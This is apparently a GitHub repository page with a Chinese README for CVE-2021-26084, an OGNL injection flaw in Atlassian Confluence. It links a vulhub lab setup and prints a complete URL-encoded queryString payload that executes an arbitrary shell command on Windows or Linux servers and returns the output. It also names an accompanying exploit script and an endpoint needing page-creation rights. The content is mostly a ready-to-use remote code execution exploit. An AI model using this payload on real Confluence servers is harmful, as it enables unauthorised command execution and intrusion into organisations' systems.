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CVE-2021-26084_Confluence_OGNLInjection.py | Loading last commit info... | |
README.md |
README.md
CVE-2021-26084
CVE-2021-26084,Atlassian Confluence OGNL注入漏洞
Atlassian Confluence 是企业广泛使用的维基系统,其部分版本中存在OGNL 表达式注入漏洞。攻击者可以通过漏洞,不需要任何用户的情况下在目标Confluence 中执行任意代码。
环境:
https://github.com/vulhub/vulhub/blob/master/confluence/
安装过程:
https://www.cnblogs.com/huangxiaosan/p/14290034.html
https://blog.csdn.net/weixin_43072923/article/details/117083611
安装过程:
数据库的账号密码postgres
设置邮箱账号密码
执行任意命令
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
/pages/createpage.action 这个接口需要一个可以创建页面的用户权限: